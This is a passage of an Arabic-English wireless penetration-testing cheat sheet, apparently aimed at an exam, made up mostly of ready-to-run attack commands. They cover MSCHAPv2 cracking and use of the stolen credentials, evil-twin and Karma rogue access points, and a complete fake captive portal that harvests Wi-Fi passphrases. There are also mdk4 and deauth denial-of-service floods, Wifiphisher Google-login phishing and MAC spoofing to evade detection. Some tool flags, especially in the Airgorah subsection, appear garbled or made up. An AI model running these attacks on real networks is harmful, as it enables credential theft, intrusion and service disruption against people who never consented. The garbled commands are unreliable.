11.3 كسر استجابة MSCHAPv2 والاتصال بالشبكة الحقيقية

```
asleap -C <challenge> -R <response> -W /usr/share/john/password.lst
```

كسر MSCHAPv2 الأوفلاين استغلال ضعف DES في بروتوكول MSCHAPv2 وتمرير قيم التحدي والاستجابة الملتقطة للقاموس واستخراج كلمة مرور الموظف صراحة.

11.4 الاتصال بشبكة الشركة الحقيقية عبر ملف wpa_supplicant.conf

```
# /etc/wpa_supplicant/wpa_supplicant.conf
network={
  ssid="TargetCorpNet"
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity="Domain\username"
  password="CrackedPassword123!"
  eap=PEAP
  phase1="peaplabel=0"
  phase2="auth=MSCHAPV2"
}
```

```
sudo wpa_supplicant -c /etc/wpa_supplicant/wpa_supplicant.conf -i wlan0
```

الاتصال بالشبكة المؤسسية الحقيقية باستخدام بيانات الاعتماد المستخرجة وتخطي نظام الحماية بالكامل.

القسم 12: نقاط الوصول المارقة والتوأم الشرير وهجوم كارما (Rogue AP, Evil Twin & Karma) — Part 12: Rogue APs, Evil Twin & Karma Attack

الثغرة الجوهرية في بروتوكول 802.11: الأجهزة تثق في "اسم الشبكة" (SSID) وليس في جهاز الراوتر نفسه! إذا قمت بتشغيل راوتر وهمي يحمل نفس اسم الشبكة التي يتصل بها الضحية ولكن بإشارة أقوى، سيتصل هاتف الضحية بجهازك فوراً وتصبح في المنتصف (Man-in-the-Middle).

```
sudo airodump-ng -w capture --output-format pcap -c <CH> wlan0mon
```

التقاط إطارات المنارة (Beacons) للشبكة الحقيقية لتحليل إعداداتها بدقة قبل استنساخها.

```
wlan.fc.type_subtype == 0x08 && wlan.ssid == "TargetSSID"
```

فلتر Wireshark فحص قسم `Tag: RSN Information` في إعلان المنارة لمعرفة خوارزمية التشفير (CCMP أم TKIP) لمطابقتها في الراوتر الوهمي.

```
sudo hostapd-mana hostapd-mana.conf
```

تشغيل الراوتر الوهمي (Evil Twin) بنفس الاسم والقناة والإعدادات لاستدراج أجهزة الضحايا.

هجوم كارما الأسطوري (Karma Attack):
- تحتفظ الهواتف بقائمة سرية للشبكات السابقة تُسمى **Preferred Network List (PNL)**.
- في الأنظمة التي تستخدم البحث النشط (Active Probing)، يصرخ الهاتف في الهواء: "*هل شبكة HomeWiFi هنا؟ هل شبكة Cafe هنا؟*"
- ميزة Karma تجعل الراوتر الوهمي يجيب فوراً بـ **"نعم أنا هي!"** على أي طلب يصدر من أي هاتف، فيصطاد عشرات الأجهزة المارة دون معرفة أسماء شبكاتهم مسبقاً!
- **الدفاع الحديث:** أصبحت الهواتف الحديثة تعتمد على الاستكشاف السلبي (Passive Scanning)، لكن الهجوم ما زال ينجح بامتياز ضد أجهزة إنترنت الأشياء (IoT) والأنظمة القديمة.

القسم 13: هجوم بوابة الدخول المزيفة الشامل (Captive Portal: Ask, Don't Crack) — Part 13: Complete Captive Portal Infrastructure

الفلسفة الهجومية: عندما تواجه شبكة بكلمة مرور معقدة جداً يستحيل كسرها بالقاموس، لا تكسر الباسورد، بل اطلب من الضحية كتابتها بيده طواعية! ننشئ شبكة توأم شرير مفتوحة بدون باسورد، وعندما يتصل الضحية تفتح له صفحة مزيفة تطلب منه باسورد الراوتر "لتحديث النظام أو حل عطل الإنترنت".

المرحلة 1: تسجيل المصافحة مسبقاً والتشويش بـ Deauth

```
sudo airodump-ng -w portalcap --output-format pcap -c <CH> wlan0mon && sudo aireplay-ng -0 5 -a <BSSID> wlan0mon
```

التقاط المصافحة (Handshake) لحفظها، وفصل الضحية عن شبكته الحقيقية ليرتبك ويبحث عن شبكة بديلة فيتصل بالتوأم الشرير.

المرحلة 2: تجهيز خادم الويب واستنساخ الموقع المستهدف

```
sudo apt install apache2 libapache2-mod-php
```

تثبيت خادم Apache لعرض الصفحة ومحرك PHP لمعالجة وتخزين الباسوردات المدخلة.

```
wget -r -l2 https://www.targetsite.com
```

استنساخ موقع الشركة أو الراوتر المستهدف بعمق مستويين (`-l2`) لتحميل ملفات HTML والصور والـ CSS لتبدو الصفحة أصلية.

```
sudo mkdir /var/www/html/portal && sudo cp -r ./www.targetsite.com/assets /var/www/html/portal
```

نقل الملفات والصور لمجلد الويب الافتراضي لضمان ظهور الصفحة بدون أي روابط مكسورة تثير ريبة المستخدم.

```
sudo mousepad /var/www/html/portal/index.php && sudo mousepad /var/www/html/portal/login_check.php
```

تعديل نموذج تسجيل الدخول ليرسل البيانات إلى `login_check.php` الذي يحفظ الباسورد في `tmp/passphrase.txt/` ثم يعيد توجيه الضحية.

المرحلة 3 و 4: إعداد الواجهة والـ DHCP والـ DNS وخدعة Windows NCSI

```
sudo ip addr add 192.168.87.1/24 dev wlan0 && sudo ip link set wlan0 up
```

تعيين عنوان IP لكارت البث الوهمي ليعمل كـ Gateway أساسي للأجهزة المتصلة.

```
sudo apt install dnsmasq
```

تثبيت خادم dnsmasq لإدارة توزيع عناوين الـ IP (DHCP) وتزوير دليل العناوين (Fake DNS).

```
# /etc/dnsmasq.conf (الفخ الأكبر وخدعة NCSI)
interface=wlan0
dhcp-range=192.168.87.50,192.168.87.150,12h
dhcp-option=3,192.168.87.1
dhcp-option=6,192.168.87.1
address=/com/192.168.87.1
address=/net/192.168.87.1
address=/org/192.168.87.1
address=/dns.msftncsi.com/131.107.255.255   # إطلاق نافذة Sign-in التلقائية في ويندوز!
```

```
sudo dnsmasq --conf-file=/etc/dnsmasq.conf && sudo tail /var/log/syslog | grep dnsmasq
```

تشغيل خدمة dnsmasq ومراقبة السجلات لحظياً لرؤية الأجهزة التي تتصل وتأخذ عناوين IP وتطلب مواقع الويب.

المرحلة 5: فرض توجيه الـ DNS قسرياً عبر جدار الحماية (nftables & iptables)

```
sudo apt install nftables && sudo nft add table ip nat && sudo nft 'add chain ip nat PREROUTING { type nat hook prerouting priority dstnat; policy accept; }'
```

إنشاء جدول NAT وسلسلة PREROUTING في جدار الحماية الحديث nftables لاعتراض الحزم قبل توجيهها.

```
sudo nft add rule ip nat PREROUTING iifname "wlan0" udp dport 53 counter redirect to :53 && sudo nft add rule ip nat PREROUTING iifname "wlan0" tcp dport 53 counter redirect to :53
```

إعادة توجيه الـ DNS تحويل أي استعلام DNS صادر من الضحايا عبر UDP أو TCP قسرياً إلى منفذنا المحلي 53 لمنعهم من استخدام 8.8.8.8.

```
sudo sysctl -w net.ipv4.ip_forward=1
```

تفعيل تمرير الحزم في نواة لينكس (Kernel IP Forwarding) لتمكين توجيه الترافيك بين الواجهات.

```
sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-port 53
```

البديل الكلاسيكي لـ iptables أمر iptables المكافئ للأنظمة والامتحانات التي لا زالت تعتمد على iptables القديم.

المرحلة 6 و 7 و 8: إطلاق النقطة، مراقبة الصيد، والتحقق الحاسم

```
sudo a2enmod rewrite && sudo a2enmod alias && sudo systemctl restart apache2
```

تفعيل إضافات إعادة التوجيه في خادم Apache وإعادة تشغيله لاختبار الصفحة محلياً (`firefox 127.0.0.1/portal/index.php`).

```
sudo hostapd -B hostapd.conf && sudo tail -f /var/log/syslog | grep -E '(dnsmasq|hostapd)'
```

تشغيل نقطة الوصول في الخلفية، ومراقبة نافذة 1 لمتابعة اتصال الأجهزة وطلبات الـ DNS لحظياً.

```
sudo tail -f /var/log/apache2/access.log
```

مراقبة نافذة 2 لمتابعة طلبات الـ HTTP والتأكد من فتح الضحايا لصفحة تسجيل الدخول وإدخال البيانات.

```
sudo cat /tmp/systemd-private-*-apache2.service-*/tmp/passphrase.txt
```

استخراج كلمة المرور قراءة ملف الباسورد الملتقط من صفحة الـ Portal المحفوظ في المجلد المؤقت الآمن لخدمة Apache.

```
sudo aircrack-ng portalcap*.cap -w /tmp/passphrase.txt
```

التحقق الحاسم (Verification) فحص كلمة المرور الملتقطة ضد ملف المصافحة الأصلي الملتقط في الخطوة 1؛ للتأكد من أن الضحية كتب الباسورد الحقيقي ولم يكتب كلمة وهمية!

القسم 14: أدوات حجب الخدمة mdk4 وكشف الشبكات المخفية وإطارات الإدارة المحمية — Part 14: mdk4 Wireless DoS & Hidden SSID Discovery

```
mdk4 wlan0 b -n <AP_NAME> -w nta -m
```

هجوم إغراق الشبكات الوهمية (Beacon Flood) بث آلاف إشارات المنارة المزيفة في الثانية بتشفيرات متنوعة (Open, TKIP, AES) وعناوين ماك حقيقية (OUI)؛ يؤدي لتجميد وانهيار مدراء الشبكات في أجهزة الضحايا.

```
mdk4 wlan0 a -a <BSSID> -m
```

هجوم إغراق طلبات المصادقة (Auth DoS) إرسال آلاف طلبات المصادقة المزيفة للراوتر لاستنزاف جدول الحالات (State Table) في ذاكرة الراوتر بالكامل، مما يمنع الأجهزة الحقيقية من الاتصال أو يسبب إعادة تشغيل الراوتر (Reboot).

```
mdk4 wlan0 d -c <CH> -E <ESSID> -B <BSSID>
```

هجوم طرد جماعي مستمر لإسقاط جميع الأجهزة المتصلة بالراوتر ومنعها نهائياً من العودة للإنترنت ما دام الهجوم يعمل.

```
sudo airodump-ng -c <CH> --bssid <BSSID> wlan0 && sudo aireplay-ng -0 20 -a <BSSID> -c <CLIENT_MAC> wlan0mon
```

كشف اسم الشبكة المخفية (Unmask Hidden SSID) الشبكة المخفية تبث Beacons فارغة الاسم. إرسال نبضة طرد للعميل يجبره على إرسال Probe Request يحمل اسم الشبكة الحقيقي فوراً، فيلتقطه airodump-ng ويكشف الاسم.

الحماية الحديثة في WPA3 وإطارات الإدارة المحمية (PMF / 802.11w): في شبكات WPA3 (أو WPA2 المفعل فيها خيار PMF إجبارياً)، يتم **تشفير وتوقيع حزم قطع الاتصال رقمياً** بمفتاح مشترك. يرفض الراوتر وهواتف الضحايا أي حزم Deauth مزيفة واردة من أداة مثل aireplay-ng أو mdk4؛ لذلك تفشل هجمات الطرد ضد الشبكات التي تفعل PMF.

القسم 15: ترسانة الأعلام والمراجع السريعة وتنحيف ملفات الالتقاط Part 15: Flags Reference & Capture Trimming with tshark

15.1 أوضاع الحقن في aireplay-ng (0- إلى 9-)

الوضع / Flag	اسم الهجوم	الوظيفة التقنية والاستخدام الميداني
0-	Deauthentication	قطع الاتصال لإجبار الأجهزة على إعادة الاتصال لالتقاط Handshake أو ARP أو كشف SSID مخفي.
1-	Fake Authentication	المصادقة الوهمية لتسجيل كارتك كعميل مرتبط (Associated) بالراوتر كشرط لقبول حقن الحزم.
2-	Interactive Replay	إعادة إرسال تفاعلي لحزمة محددة بالفلترة (تصفية حجم حزم ARP بين 68 و 86 بايت).
3-	ARP Replay	ملك هجمات WEP: اصطياد طلب ARP وإعادة حقنه آلاف المرات لتوليد الـ IVs بسرعة فائقة.
4-	ChopChop Attack	فك تشفير حزمة بيانات WEP دون معرفة الباسورد باقتطاع البايت الأخير وتخمينه لاستخراج Keystream.
5-	Fragmentation Attack	استخراج 1500 بايت من قالب التشفير (PRGA Keystream) من الراوتر لصناعة حزم ARP مزيفة.
9-	Injection Test	فحص واختبار قدرة كارت الواي فاي على حقن الحزم وقياس جودة واستجابة الإشارة (Ping).

15.2 أوضاع الكسر في Hashcat الخاصة بالواي فاي

الوضع (Mode)	الوصف الفني	حالة الاستخدام والتوصية
-m 22000	WPA-PBKDF2-PMKID + EAPOL (صيغة hc22000)	**الوضع القياسي المعتمد حالياً:** يدمج المصافحة الرباعية وهجوم PMKID في ملف واحد.
-m 22001	WPA-PMK-PMKID + EAPOL (جداول الـ PMK)	يستخدم جداول PMK المحسوبة مسبقاً لتخطي حساب دالة PBKDF2 والكسر بسرعة خيالية.
-m 2500	WPA-EAPOL-PBKDF2 (.hccapx)	الوضع القديم التراثي لكسر ملفات hccapx (أصبح مهجوراً ومستبدلاً بـ 22000).
-m 16800	WPA-PMKID-PBKDF2	الوضع القديم المخصص لـ PMKID فقط قبل دمجه في 22000.

15.3 تنظيف وتنحيف ملفات الالتقاط الضخمة بأداة tshark

```
tshark -r dumpfile.cap -Y "(wlan.fc.type_subtype==0x00 || wlan.fc.type_subtype==0x02 || wlan.fc.type_subtype==0x04 || wlan.fc.type_subtype==0x05 || wlan.fc.type_subtype==0x08 || eapol)" -2 -F pcapng -w stripped.pcapng
```

أمر تنظيف ذهبي استخراج حزم الإدارة الأساسية وإطارات EAPOL وحذف ترافيك الفيديو والتصفح الضخم لتسهيل وتسريع عمل أدوات الكسر.

شرح الأرقام السداسية: `0x00` طلب ارتباط، `0x02` إعادة ارتباط، `0x04` طلب بحث Probe، `0x05` استجابة بحث، `0x08` إعلان المنارة Beacon، و `eapol` حزم المصافحة.

القسم 16: مصفوفة اتخاذ القرار السريع في الامتحان والميدان — Part 16: Wireless Attack Decision Matrix

معطيات الشبكة المكتشفة في الرادار	المسار الهجومي المباشر	التعليل الهندسي والهدف
ENC = WEP عملاء متصلون ونشطون	Fake Auth (`-1`) + ARP Replay (`-3`)	وجود عميل يوفر حزم ARP يمكن إعادة حقنها لتوليد آلاف الـ IVs في دقائق.
ENC = WEP لا يوجد عملاء (فارغة) ومصادقة مفتوحة	Fake Auth (`-1`) + Fragmentation (`-5`) أو ChopChop (`-4`)	سرقة قالب الـ Keystream المسرب وصناعة حزمة ARP مزيفة بـ packetforge-ng وحقنها.
ENC = WEP مع **AUTH = SKA**	Deauth عميل شرعي -> التقاط PRGA XOR -> Fake Auth (`-y`) -> Replay	تجاوز لغز التحدي بسرقة رد العميل الشرعي المعتمد واستخدامه للمصادقة.
ENC = WEP عميل يبحث عن شبكة والراوتر غائب	Hirte Attack أو Cafe Latte Attack	إنشاء AP وهمي واستدراج جهاز العميل ليرسل حزم ARP مشفرة من ذاكرته.
WPS مفعّل مع عمود **Lck = No**	Pixie-Dust (`reaver -K`) أولاً، ثم Online PIN	استغلال ضعف Nonces وكسر الـ PIN في ثوانٍ أوفلاين دون المخاطرة بقفل الراوتر.
WPA/WPA2-PSK مع وجود عملاء نشطين	نبضة طرد خفيفة (`-0 1`) -> تسجيل Handshake -> كسر Hashcat	إجبار العميل على إعادة الاتصال وتسجيل الإطارين 1 و 2 للمصافحة الرباعية.
WPA/WPA2-PSK شبكة فارغة بدون أي عملاء	هجوم PMKID بدون عملاء بـ `hcxdumptool` -> Hashcat	استغلال معيار التجوال السريع 802.11r وسحب PMKID من الإطار الأول مباشرة.
AUTH = MGT (شبكة شركات Enterprise)	استطلاع الشهادة -> Rogue RADIUS (FreeRADIUS) + hostapd-mana -> asleap	بناء خادم RADIUS وهمي واعتراض تحدي MSCHAPv2 وكسره لاستخراج كلمة مرور الموظف.
أجهزة هواتف تبحث عن شبكات مفتوحة	Karma Attack بـ hostapd-mana	استغلال قائمة PNL والرد بـ "نعم أنا تلك الشبكة" لاصطياد الضحايا في المنتصف.
WPA2-PSK باسورد معقد جداً يستحيل كسره	Captive Portal (Ask, Don't Crack) عبر Apache + dnsmasq + nftables	إسقاط الراوتر الأصلي بطرد مستمر وتوجيه الضحية لصفحة مزيفة لكتابة الباسورد بيده.

القسم 17: طوق النجاة واستكشاف الأخطاء وحلها — Part 17: Wireless Penetration Testing Troubleshooting Guide

المشكلة الميدانية	السبب التقني الكامن	الحل العملي الفوري
لا شيء يحدث عند إطلاق الحقن (Nothing Happens)	كارت الواي فاي لا يدعم الحقن، أو الكارت غير مثبت على نفس قناة الراوتر، أو لست Associated.	نفذ فحص الحقن `aireplay-ng -9 wlan0mon`، تأكد من مطابقة القناة تماماً، ونفذ Fake Auth أولاً.
المصادقة الوهمية (Fake Auth) تفشل باستمرار	الراوتر يفعل فلترة الماك (MAC Filtering) أو مصادقة المفتاح المشترك (SKA).	انتحل ماك جهاز شرعي (بعد فصله تماماً لتجنب التعارض)، أو طرد عميل وسرقة قالب PRGA XOR.
عداد البيانات #Data لا يرتفع في شبكات WEP	الشبكة خاملة تماماً ولا ترسل طلبات ARP ليتم مضاعفتها، أو لا يوجد عملاء أصلاً.	أرسل نبضة Deauth واحدة لعميل متصل لبدء الـ ARP، أو تحول فوراً لهجوم التجزئة (Fragmentation -5).
لم يظهر إشعار `WPA handshake` في الرادار	الكارت غير مثبت على قناة الهدف، أو تم إرسال نبضات طرد كثيفة جداً جعلت الهاتف ييأس ويتوقف عن الاتصال.	تأكد من قفل القناة (`-c <CH>`)، واجعل نبضات الـ Deauth قصيرة جداً (دفعة أو دفعتين فقط).
أداة Hashcat ترفض تحميل الهاش (No hashes loaded)	ملف الالتقاط يحتوي على ضوضاء أو تلف، أو استخدام أداة تحويل غير متطابقة.	استخدم الأداة الرسمية `hcxpcapngtool` للتحويل إلى `.hc22000`، وتأكد من كتابة `-m 22000`.
خدمة WPS أصبحت مقفولة (Lck = Yes)	الراوتر اكتشف محاولات تخمين متتالية وفعل الحماية التلقائية (Lockout).	جرب هجوم Pixie-Dust (غالباً ينجح رغم القفل)، أو استخدم التهدئة (`-d 1 -r 5:3`) بعد فترة راحة.
خطأ `unknown configuration item 'mana_wpaout'`	محاولة تشغيل خيارات متقدمة في النسخة المسالمة العادية من hostapd.	ثبت النسخة المخصصة للاختراق الأمني `hostapd-mana` واستخدمها لتشغيل ملفات mana.
الكارت يخرج من وضع المراقبة أو يقفز بين القنوات	خدمات النظام (NetworkManager و wpa_supplicant) تعمل بالخلفية وتعيد ضبط الكارت لعمل مسح.	نفذ فوراً "القتل الرحيم": `sudo airmon-ng check kill` قبل بدء أي عملية اختبار.

Part 18: Worked Exam-Day Walkthrough (Standard Workflow) القسم 18: سيناريو الامتحان العملي المتكامل خطوة بخطوة

```
1. Enumerate: sudo airmon-ng check kill && sudo airmon-ng start wlan0 && sudo airodump-ng wlan0mon
```

الخطوة 1: الاستكشاف — تصفية العمليات المتداخلة، تفعيل وضع المراقبة، وتسجيل هوية الهدف (BSSID, ESSID, Channel, Encryption, Clients).

```
2. Lock & Capture: sudo airodump-ng -w tnet -c 6 --bssid 00:11:22:33:44:55 wlan0mon
```

الخطوة 2: تثبيت القناة والالتقاط — ترك نافذة المراقبة تعمل في الخلفية لحفظ حزم الهدف فقط دون فقدان أي إطار.

```
3. Stimulate Handshake: sudo aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
```

الخطوة 3: تحفيز المصافحة — فتح نافذة طرفية ثانية وإرسال نبضة طرد واحدة سريعة لجهاز العميل والتقاط الـ Handshake في النافذة الأولى.

```
4. Convert Hash: hcxpcapngtool -o target.hc22000 tnet-01.cap
```

الخطوة 4: تحويل وتجهيز الهاش — استخراج بيانات المصافحة الصافية وتحويلها إلى الصيغة القياسية لـ Hashcat.

```
5. Systematic Cracking: hashcat -m 22000 target.hc22000 /usr/share/wordlists/rockyou.txt -r rules/best64.rule -o cracked.txt
```

الخطوة 5: الكسر الممنهج — البدء بالقاموس + القواعد، ثم تجربة الأقنعة الرقمية (`-a 3 ?d?d?d?d?d?d?d?d`) إذا كانت كلمة المرور متوقعة كأرقام.

```
6. Document & Report: cat cracked.txt
```

الخطوة 6: التوثيق — توثيق كلمة المرور المستخرجة، الأوامر الدقيقة المستخدمة، لقطة شاشة للمصافحة، والوقت المستغرق لكتابة التقرير النهائي.

القسم 19: القاموس التقني والمفاهيم التشفيرية الأساسية — Part 19: Wireless & Cryptographic Glossary

المصطلح	التعريف التقني الدقيق ودوره في الاختبار اللاسلكي
AP (Access Point)	نقطة الوصول اللاسلكية (الراوتر أو الموزع) التي تبث الإشارة وتربط الأجهزة اللاسلكية بالشبكة السلكية.
BSSID	العنوان الفيزيائي (MAC Address) الخاص بكارت البث اللاسلكي داخل الراوتر، بصيغة ستة مقاطع سداسية عشرية؛ المعرف الفريد الثابت للراوتر.
SSID / ESSID	الاسم النصي للشبكة الذي يظهر للمستخدمين عند البحث. يُسمى ESSID في الشبكات الممتدة التي تستخدم نقاط وصول متعددة بنفس الاسم.
IV (Initialization Vector)	متجه التهيئة في تشفير WEP (بطول 24-bit)؛ يُرسل في الهواء Cleartext ويُدمج مع المفتاح السري، وتكراره هو سبب كسر WEP رياضياً.
PRGA XOR Keystream	تيار المفتاح شبه العشوائي الناتج عن دمج الـ IV مع المفتاح السري في WEP؛ سرقته تتيح تزوير حزم ARP والارتباط بالراوتر دون معرفة الباسورد.
PSK (Pre-Shared Key)	كلمة المرور المشتركة مسبقاً في شبكات WPA/WPA2 المنزلية والشخصية التي يكتبها المستخدم للاتصال.
PMK (Pairwise Master Key)	المفتاح الرئيسي المشتق من دمج الباسورد (PSK) مع اسم الشبكة (ESSID) بتكرار 4096 مرة عبر PBKDF2؛ لا يمر في الهواء أبداً.
PTK (Pairwise Transient Key)	مفتاح الجلسة المؤقت المشتق أثناء المصافحة الرباعية لخلط الـ PMK مع أرقام ANonce و SNonce والماكات؛ يستخدم لتشفير بيانات الجلسة فقط.
MIC (Message Integrity Code)	ختم التحقق من سلامة الرسالة في المصافحة الرباعية؛ يثبت امتلاك الطرفين لنفس الـ PMK دون إرسال كلمة المرور في الهواء.
PMKID	معرّف المفتاح الرئيسي المشتق؛ يرسله الراوتر في أول إطار استجابة ارتباط في شبكات 802.11r التجوالية، مما يسمح بكسره دون وجود عملاء.
EAPOL	بروتوكول EAP over LAN؛ الإطار البرمجي الناقل لحزم المصافحة الرباعية (4-Way Handshake) بين الجهاز ونقطة الوصول.
PNL (Preferred Network List)	قائمة الشبكات المفضلة المحفوظة داخل هواتف وأجهزة المستخدمين؛ يستغلها هجوم Karma لاصطياد الأجهزة بانتحال أسماء شبكاتها السابقة.
MGT / 802.1X	معيار مصادقة شبكات المؤسسات والشركات الذي يعتمد على خادم خارجي (RADIUS Server) وشهادات أمنية وحسابات فردية لكل مستخدم.
PEAP / MSCHAPv2	البروتوكول الأكثر شيوعاً في شبكات الشركات؛ ينشئ نفق TLS مشفر ويمرر بداخله تحدي واستجابة MSCHAPv2 الذي يمكن اعتراضه وكسره بـ asleap.
PMF (Protected Management Frames)	معيار 802.11w لحماية إطارات الإدارة وتشفير حزم الـ Deauth؛ ميزة إجبارية في WPA3 تمنع هجمات إسقاط المستخدمين وتجميد الشبكات.

القسم 20: أدوات الأتمتة المتقدمة لاختبار اختراق الوايرلس — Part 20: Wireless Automation Tools & Attack Frameworks

أدوات الأتمتة الشاملة (Automation & Frameworks): صُممت هذه الأدوات لاختصار خطوات الاستكشاف، وتثبيت الواجهات، وإرسال حزم الطرد (Deauth)، واصطياد المصافحات، وبناء بوابات الدخول المزيفة في مسارات مؤتمتة وسريعة دون الحاجة لتكرار إدخال الأوامر المعقدة يدوياً.

Wifite2 20.1

```
sudo wifite2 -i wlan0mon --wpa --deauth --handshake
```

الهجوم الشامل تقوم بمسح الأثير، وإرسال حزم Deauth لفصل المتصلين، وحفظ مصافحة الـ Handshake بمجرد ظهورها في خطوة واحدة دون تدخل يدوي.

```
sudo wifite2 --quick
```

السرعة القصوى استهداف الشبكات التي تحتوي على عدد كبير من الأجهزة المتصلة مباشرة لزيادة فرصة الحصول على Handshake سريعاً وتخطي الشبكات الضعيفة.

```
sudo wifite2 -o ./results/ --wpa
```

تحديد مجلد مخصص لحفظ النتائج والمصافحات الملتقطة تلقائياً لتسهيل الرجوع إليها لاحقاً للكسر الأوفلاين.

Wifiphisher 20.2

```
wifiphisher -i wlan0mon -e "Target-SSID" --wpa2
```

استهداف شبكة WPA2 إنشاء نقطة وصول مارقة (Rogue AP) تحمل نفس اسم الشبكة المستهدفة، مع طرد العملاء من الشبكة الأصلية لإجبارهم على الاتصال بالنقطة المزيفة.

```
wifiphisher -t 1
```

الأكثر فعالية اختيار قالب تسجيل دخول جوجل (Google Sign-in) لعرض صفحة طلب البريد وكلمة المرور من الضحايا لاستخراج الاعتمادات الصريحة.

```
wifiphisher --no-checks -i wlan0mon
```

Stealth / Fast Mode تخطي الفحوصات المسبقة لتسريع بدء العملية عندما تكون بطاقة الشبكة والواجهات مضبوطة مسبقاً.

Besside-ng 20.3

```
besside-ng wlan0mon -e "Target-SSID"
```

Fast Attack استهداف شبكة محددة ومراقبتها واستخراج المفتاح أو تسريع عملية جمع المصافحات وحزم الـ WEP تلقائياً بدون انتظار.

```
besside-ng wlan0mon -c 6 -e "Target-SSID"
```

تثبيت القناة إجبار الأداة على العمل على قناة محددة فقط (مثل 6) لتقليل الضوضاء والتشويش وتسريع جمع البيانات.

```
besside-ng wlan0mon -e "Target-SSID" -o output.txt
```

حفظ وتوثيق نتائج الاختبار والشبكات المخترقة في ملف نصي محدد.

Airgeddon 20.4

```
./airgeddon.sh -m 4
```

الوضع المتكامل تشغيل مسار هجمات WPA/WPA2 لدمج إرسال حزم الطرد (Deauth)، والتقاط المصافحة (Handshake)، ومحاولة الكسر المباشر في خطوة واحدة شبه تلقائية.

```
./airgeddon.sh -m 1
```

مسح سريع مسح واستكشاف الشبكات المحيطة وتنسيقها في قائمة منظمة تفاعلية لاختيار الهدف المطلوب بسهولة.

```
./airgeddon.sh -m 5
```

Evil Twin & Social Eng فتح خيارات إطلاق بوابات الدخول المزيفة وصفحات Captive Portal المتوافقة مع أجهزة الموبايل.

Airgorah 20.5

```
./airgeddon.sh -m 10
```

انتحال الماك في Airgeddon خيار تدوير وتغيير عنوان الـ MAC الفيزيائي للكارت قبل بدء أي هجوم لمنع رصده في سجلات الراوتر وأنظمة كشف التسلل (WIDS/WIPS).

```
./airgorah.sh
```

مسح وتخفٍ تلقائي تشغيل أداة Airgorah المستقلة لمسح الشبكات وبدء الهجوم مع تغيير وتدوير الـ MAC address باستمرار لمنع التتبع.

```
./airgorah.sh -e "Target-SSID"
```

تحديد اسم الشبكة المستهدفة يدوياً مباشرة لبدء الفحص والتنفيذ مع حماية هوية الكارت ووضع التخفي.

تم بحمد الله إعداد وتأليف النسخة المرجعية الكاملة لـ Wireless Pentest Master Cheat Sheet بواسطة د. دبش (Dr.Dabash)

جميع الحقوق محفوظة لـ **Dr.Dabash** — مخصصة للاستخدام المصرح به في بيئات الفحص الميداني والاختبار العملي!